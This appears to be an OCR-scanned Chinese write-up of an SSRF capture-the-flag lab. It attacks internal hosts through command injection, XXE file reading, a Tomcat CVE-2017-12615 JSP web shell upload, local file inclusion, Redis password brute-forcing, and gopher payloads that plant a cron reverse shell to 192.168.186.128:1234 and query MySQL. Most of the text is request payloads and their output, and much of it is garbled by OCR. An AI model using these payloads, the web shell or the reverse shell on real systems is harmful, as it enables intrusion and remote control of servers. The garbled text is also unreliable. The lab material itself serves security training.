[1] => 64 bytes from 127.0.6.1: icmp_seqg=1 ttl=64 time=08.727 ms
[2] => 64 bytes from 127.0.6.1: icmp_seqg=2 ttl=64 time=0.078 ms
[3] => 64 bytes from 127.0.6.1: icmp_seqg=3 ttl=64 time=8.062 ms
[4] => 64 bytes from 127.0.8.1: icmp_seg=4 ttl=64 time=0.030 ms
[5] =»
[6] => --- 127.0.0.1 ping statistics ---
[7] => 4 packets transmitted, 4 received, % packet loss, time 3874ms
[8] => rtt min/avg/max/mdev = ©.030/8.224/0.727/0.290 ms
[9] => root:x:@:@:root:/root:/bin/bash
[10] => daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
[11] => bin:x:2:2:bin:/bin:/usr/sbin/nologin
[12] => sys:x:3:3:sys:/dev:/usr/sbin/nologin
[13] => sync:x:4:65534:sync:/bin:/bin/sync
[14] => games:x:5:60:games:/usr/games:/usr/sbin/nologin
[15] => man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
[16] => 1lp:x:7:7:1p:/var/spool/lpd:/usr/sbin/nologin
[17] => mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
[18] => news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
[19] => uucp:x:1@:18:uucp:/var/spool/uucp:/usr/sbin/nologin
[20] => proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
[21] => www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
[22] => backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
[23] => list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
[24] => irc:x:39:39:ircd:/var/run/ircd: /usr/sbin/nologin
[25] => gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
[26] => nobody:x:65534:65534:nobody: /nonexistent:/usr/sbin/nologin
[27] => _apt:x:100:65534::/nonexistent:/usr/sbin/nologin
)

IWAEF Is. cat kR F#HEH flag

@] => PING 127.0.0.1 (127.0.8.1) 56(84) bytes of data.

1] => 64 bytes from 127.6.0.1: icmp_seqg=1 ttl=64 time=0.836 ms
2] => 64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.029 ms
3] => 64 bytes from 127.6.0.1: icmp_seqg=3 ttl=64 time=0.875 ms
4] => 64 bytes from 127.0.8.1: icmp_seq=4 ttl=64 time=0.090 ms

6] => --- 127.0.0.1 ping statistics ---

7] => 4 packets transmitted, 4 received, 8% packet loss, time 3863ms
8] => rtt min/avg/max/mdev = ©.029/0.857/0.090/8.026 ms

9] => flag{6a03df831334832d3ecfa5e1d806d9of7}

30 / 42



Wi 172.72.23.25
RAH 80 ix A

23K XM B XXE FiE
O & O+ 192.168.186.147:8080

iR @ FEbE D xENm @ RerkE

H P g

4

admini23

)

L J L ' N ! ) L J
J Raw I Params T Headers T Hex IXML ]

POST /doLogin.php HTTR/.1

Host: 192.168.186.147:8080

UserAgent: Mozilla/5.0 (Windows NT 10.0; Wing4; x64; rv:101.0) Gecko/20100101 Firefox/101.0
Accept: applicationfxml, text/xml, *™; q=0.01

Accept-Language: zh-CM zh;q=0.8,zh-TW,q=0.7 ,zh-HK;q=0.5 en-U5;¢=0.3 en;q=0.2
Accept-Encoding: gzip, deflate

Content-Type: application/xml; charset=utf-8

¥-Requested-With: XMLHttpRequest

Content-Length: 66

Origin: http://192.168.186.147:8080

Connection: close

Referer: http://1192.168.186.147:8080/

<user=><usemame>admini23</username><password>123</password></user>

BIEEIEE
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J Haw | Farams | Heaaers | Hex | ANIL |

POST fdoLogin.php HTTPM 1

Host: 172722325

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x64; nv:101.0) Gecko/20100101 Firefox/101.0
Accept: application/xml, text/xml, */*, g=0.01

Accept-Language: zh-CN zh;q=0.8,zh-TW,q=0.7 zh-HK;q=0.5 en-US;q=0.3 en;q=0.2
Content-Type: application/xml;charset=utf-8

¥-Requested-With: XMLHttpRequest

Content-Length: 175

Origin: http:/172.72.23.25

Connechion: close

Referer: http:/172.72.23.25/

<?xml version="1.0" encading="ut:8"?=>
<IDOCTYPE user [
<IENTITY xxe SYSTEM "file:/(flag”=
=
<USers
<username>&xxe; </usernames
<password=admin</password=
<fuser=

R url 8A8 /5 gopher T

- _—

e B T TS

Request Response

Raw | Parar | Hoadors | e | Ram | Hoaors | Hox | HTML | Romior |
FOST/HTTRI |
Hasl. 192,168,105, 147, 6080
Usar-Agent: Moz125 0 (Windows NT 10.0; WInG4: 364; v 101.0) GackaQ0100101 Firstow/101 0
Accept.teatiami appdcasion/shiml | spplicaice/ar =0 3 imagefaviimayetweky
Accopt Languaga' -GN zh =0 8 s TW=07 2h HK: =0 6,nUS =03 m=0 2 gophars
AcceptEncodeg. g1
ComteniTops: 3

v

<hr class=my-£>

7222580

Connsction: choss 7143d%3
Reforer. hitp: 1192, 158, 186, 147-6080/ 3 > 1434830%2
Upgrade-nsacure-Requssts 1 1

" ET—
ST

TIESNT2N S0

M < <pre>HTTPI.1 200 0K
Date: Sun, 03 Jul 2077 082613 GMT

Server: Apache 2441 Ubunti)

Vary: AcceptEncading

Content Langth: 81

Cennection: close

Contant Type: taxthm; charsst-uti

st pecosA<ico fs< sy Aag{HISBIEHCINE chacT oBSd T80 GT cbT5u)

Wik 172.72.23.26

FFim A 8080
RIBELIZIRR A CVE-2017-12615

TRIEEIE L https://paper.seebug.org/1677/

HTEEANY (JEBIAERE) , B conf/web.xml A readonly IRE A Y false,
SEETRUER PUT ik ERERXH, ERHIT jsp EHRM L%
RIBHER, 7 Windows BREE:T, ¥ readonly & E A false B, BIE[i@IE PUT
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https://paper.seebug.org/1677/

FIREIB— ISP XM, FFETITIERARD
BT FIE conf/webxml X, TTIXKLIL, BRIA readonly 4 true, ¥ readonly & &

7 false B, TJ[3@IiL PUT / DELETE #7301 4R,

AR ISP ROEE PUT £UE:

PUT /shell.jsp/ HTTP/1.1

Host: 172.72.23.26:8080

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:101.0)
Gecko/20100101 Fi%72efox/101.0

Accept: text/html,application/xhtml
xml,application/xml;g=0.9, image/avif, image/webp, */*;g=0.8
Accept-Language: zh-CN,zh;g=0.8,zh-TW;g=0.7,zh-HK;g=0.5, en-
US;g=0.3,en;9=0.2

Connection: close

Upgrade-Insecure—-Requests: 1

Content-Length: 460

A
o°

String command = request.getParameter ("cmd") ;
if (command != null)
{
java.io.InputStream
in=Runtime.getRuntime () .exec (command) .getInputStream() ;
int a = -1;
byte[] b = new byte[2048];
out.print ("<pre>");
while ((a=in.read (b)) !=-1)
{
out.println(new String(b));
}
out.print ("</pre>");
} else {

out.print ("format: xxx.Jjsp?cmd=Command") ;

oo
\

PR URL ZR#5J5 gopher T A
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i Par | Hoors [ o

| | Foocers | o [ T | Ronie

> gopher:/172.12.23 26 SO0/ NSD%55H 5420 2P 3HERAES 56 chE e LB TIHT I 20 LA S NS L5 LI ADDAABHERLTINTE
AR RI 2 KA HI2 K20 KN AT S0 A2 0 IR KI K0 MOl NS RTINS T2 2 AW TNET HES W N T %0 N2 A N AT A B
e e

e HI0KITI0 50 T2 LS HERTR SRR KI0NIT
T8 TAS2INGRNT A6 %6 1S TIREINBIE e K2METBEE S TI NG
X T 20 DT T
it e BSHT0UTANZANACHE1 Kb HET KTSHETHET
G5 INNONT A OB 2 AT S LENT AHGERIN N 15 %I K203
H3UIDE2RISH2CHEE NG K2 ST IBAT 1IN 0% KT H2 e

SRS 2e NI HZENT DGR NRZA WO SANNIL ST
e

e e e 17

SaN NI BT T3 N6 I N0 NS T KT NG NI 1HEANES N2 d A G0 ST INES NI AT T2 %6502 N2 WS KT 1 HTOHES KIS TANT TNk 20 83 1H0d
wiegop 272 TSR0 25 %I R SRS 2 NI IR ISR 2R NI NI R, % 2NN 0 5005 0 32N 00 20 2057512 e

P i (37 65 25534 4% %25 £ 3 2IIUZONTINES KT 1 HTSHEENTINTA 52 74 BAESNTALES K77 428

% 152553 31525 % IV REL 2593 xn P 3734 5 3 prosens ml e zn " zﬂ-tn.u! NI IR B SEIIINI I m.an et n. s. i n. haddlaucioh u« 20

X a7 5 RI%37H k25 2 AT L [ e e s ram e A A 0 R TR Ve I A RIS A T A IS 2

5 4338 20 252 oa TR2SHIBRISHIS NI AT RESHTA SSZNTS Y68 S TANEI G NG S B2 A28 SEENTHNET 61 N 206 INETHB N6 1 N6 6 WA 29 N28 HET HET T ST 6u hTO TS HTAREY:
B R e e T RS IR BN TGRS 5 =] bkt bbbty e el
EuEY 3% EN2NRIIRIEH 5% a0 2 3% i ONEZHTRNT AN KIS AN w- 0 m 206 0 NETHTT RO NETSTIRTANES HRIPUSALTD SO0 % 20NN S0 murn-.)n st

%R K% 432 65 1925%32% % 25, HISHTANZENTONI2 5694 bu T OIS 30422 W S DN S0 a2 20 K205 0N NZ0 N 20 R0 TT WA N W 1
25533 Y525 35537 K25 I B 2 KIS I SN 339625 %25 T KIS TIR I R e m>.>n=‘w,m<.m et

x " K37 NI KIS AT HIEHIS HITNA IS s AR o DS20NZINZONEPNTS B K TN T2 NS0 kT 6 €60 k2B W o NS T 52N ZAE2 29429 INNDINDA NI NANIONAINID
R0 25 %3 N 25 H 6% 5% % T 25% 6 KI5 IR 25T REE HISRINILN, NSRRI R R25%33%: SEORZIRZUT 020 520 20NN R0 K200 4% zmzm OIS eI st
%25 . 1625% 34 %36 25% 35525 T IEHIEHIERE D%20%20%7 D HES NG CATIHES 20T b KO 20420520 TEUTAR20 BINEeKTANINNII NEABTIABANE1NTA%

X & 420 250 1525% 34, YOG G106 22329 M 202000125530

I HSRITIEI0HE L3396 ST 3% 325N MBS, L 3 HTTP/11 204

1R[E] 204, REBINEANT shelljsp, iEE®IT SSRF Ki&LXt shelljsp A9 HTTP 1&3K,
BT T shell 9452,

|Fav¢ms | Headers | Hex Flaw | Headers | Hex [ HTWL | Render |
o <a s T
0t o .
avilem aciie’»
nawlni hrake"Biips e sqsec. coms B
arly" feurrent)-
il
<
P

class="form group™>
cinput class

* plasabalds i

s="btn birprimary” styla="tisp ay:block:margin ) avto">Submi

b 4
<b>hitp:i/172.72.23 26:8080shell Jap? cmd=cat¥i20lag 11

bt <pra<prefag(BheStabbB1769ch372ds 439607174}

By 172.72.23.27

FFRUT 6379

Gopherus T B4 fX payload
%EFEE NG shell
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Gopher FTAZIE, kali lslfr 1234 i 0

U R RARIREY

& lusong@kali: ~

gopher://172.72.23.27:6379/_%2A1%0D%0A%248%0D %0

http://172.72.23.27:6379 FIHRERINT:

-ERR wrong number of arguments for ‘get' command

o INE R INRE T shell, R B FT#E flag

Wi 172.72.23.28
FFAL 80 im O, SEFRIEFIL T 6379 FAFINE, FrE @A http RFAL K, B dict
e JUEE,

dict://172.72.23.28:6379/ (9REBINTF:

-NOAUTH Authentication required.
+0K

RRHINE, BEELBOMAFER. —IMHENXHEERE.
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http://172.72.23.28/ BYREBUN T :

<?php

error_reporting(0);

highlight_file(__FILE_ );

if (isset($_GET['file'])) {
include($_GET['file']);

} else {

echo "easy 1fi";

easy 1fi

XEEETPIEER flag X, BA7T 4 SERHELIRE redis REX M

http://172.72.23.28/?file=/flag AYIREBUI T :

<?php

error_reporting(0);

highlight file(_ FILE_ );

if (isset($_GET['file'])) {
include($_GET['file']);

} else {

echo "easy 1fi";

flag{7b992efb5ab23a3a3d5100e366c48423}
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stream-node-max-bytes 4096
stream-node-max-entries 100

activerehashing yes

client-output-buffer-limit normal @ @ @
client-output-buffer-limit replica 256mb 64mb 60
client-output-buffer-limit pubsub 32mb 8mb 60
requirepass P@ssword

hz 10 S

dynamic-hz yes

aof-rewrite-incremental-fsync yes

rdb-save-incremental-fsync yes

BEINER. A dict INEEE.

MR AHYS N SL = WU H P+

dict://172.72.23.28:6379/auth P@sswOrd BIREBUNT:

-NOAUTH Authentication required.
+0K
+0K

INERLY, RPAZRMER. EREN dict FAXFHLTHONERE, IHBRSBOAMLE
MSETERTT. BTl dict IR ERRIERETIAESN Redis BREHY.

ALMIAEF gopher 1. 18 Gopherus TR LAY payload BAFIAIER, FrEE
MNEEEBOAELIE.
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B lusong@kali: ~

kR >, <, +OK BHE, B\rEERA %0d”, \n'EHeA%0a”, “$EEIR A %24"

*2%50d%0a%244%0d%0aauth%0d%0a%248%0d%0aPlsswlrds0d%0a

Gopherus T H A R /EEAY payload

%$2A1%0D%0A%248%0D%0Af1ushall%0D%0AS2A3%0DS0A%243%0D%0Aset$0DS0AS2
41%0D%0A1%0D%0A%2470%0DS0AS0AS0AS2A/1%20%2A%20%2A%20%2A%20%2A%20b
ash%20-c%20%22sh%20-
1%20%3E%26%20/dev/tcp/192.168.186.128/1234%200%3E%261%22%0A%0A%0A
%$0D%0A%2A4%0D%0A%246%0D%0Aconfig®0D%0A%243%0D%0Aset$0D%$0A%243%0D%
0Adir%0D%0A%2416%0D%0A/var/spool/cron/%$0D$0A%2A4%50D%0A%246%0DS0AC
onfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%
0Aroot%0D%S0A%S2A1%0DS0A%244%0D%0Asaves0DS0AS0A
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HHERB D BIET ER payload:

gopher://172.72.23.28:6379/ *2%0d%0a%244%0d%0aauth%0d%0a%248%0d%0
aP@sswl0rd%0d%0a%2A1%0D%0A%248%0D%0Af1ushall$0D%0A%2A3%0DS0A%243%0
D%0Aset%0D%0A%241%0D%0A1%0D%0A%2470%0D%0AS0AS0A%2A/1%20%2A%20%2A%
20%2A%20%2A%20bash%20-c%20%22sh%20-
1%20%3E%26%20/dev/tcp/192.168.186.128/1234%200%3E%261%22%0A%0A%0A
%$0D%0A%2A4%0D%0A%246%0D%0Aconfigs0Ds0A%243%0D%0Aset$0D%0AS243%0D%
0Adir$0D%0A%2416%0D%0A/var/spool/cron/%$0D$0A%2A4%$0D$0A%246%0DS0AC
onfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename$0D%0A%244%50D%
0Aroot%0D%0A%S2A1%$0D%0A%244%0D%$0Asaves0DS0AS0A

WO 1234 35 0, BEIRM SSRFIBESFTA, ZiH K5 shell,

U IR ARIREN

gopher://172.72.23.28:6379/_*2%0d%0a%244%0d%0aauth%0d%0a%248%0d %0aP @ssw0rd%0c
&

By 172.72.23.29

FFi% 3306,

Mysql K IZFARIE

Hi# gopher ], XL EHE, BAMHER. HEiE L&REH payload
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gopher://172.72.23.29:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00
AIREBINT:

5 JAn*EEEE BEE~bM:yvewFSvvmysql_native_passwordEEEREE
flagPtestFtestdidBid?BAIP*PAdefiflagitestBtestiflaghflag | @EQEITI€" )PIA1&flag{71a5d5e6b2b9a3da3dc@aB85851d50316 }ET€ "
.

B BN EEGREER T .

4:;\ ?a
SSRF RREG#1EKMNE, WEB X AENREZ—. BHRAE—LEFTERRIMIE IR
BEMERR b, WRIENAMNMERGEREXEW, BREERAEEARCKREREES SN, &
HHEMBERNAMRGERBAG . LLNAHA redis RFX. mysql RIFX. FTP,
Zabbix, Memcached %,
SSRF ImiEHIBAHE R
® JTRIREMER, R web FARERME—MEENXM, BAEILREER
RGP ZRIERIBRENERSETEIRE.
® F—iERER, BRI MREERE ERAMNTIER SR QRS
® [REIIEKRMEG O, tban 80,443,8080,8090,
& P RERMMIL, NIXAW http F https EKR . T A IEXETF
file:///,gopher:// ftp://Z 5| Ay [E) &,
® {H DNS 775 #& Host BB BT
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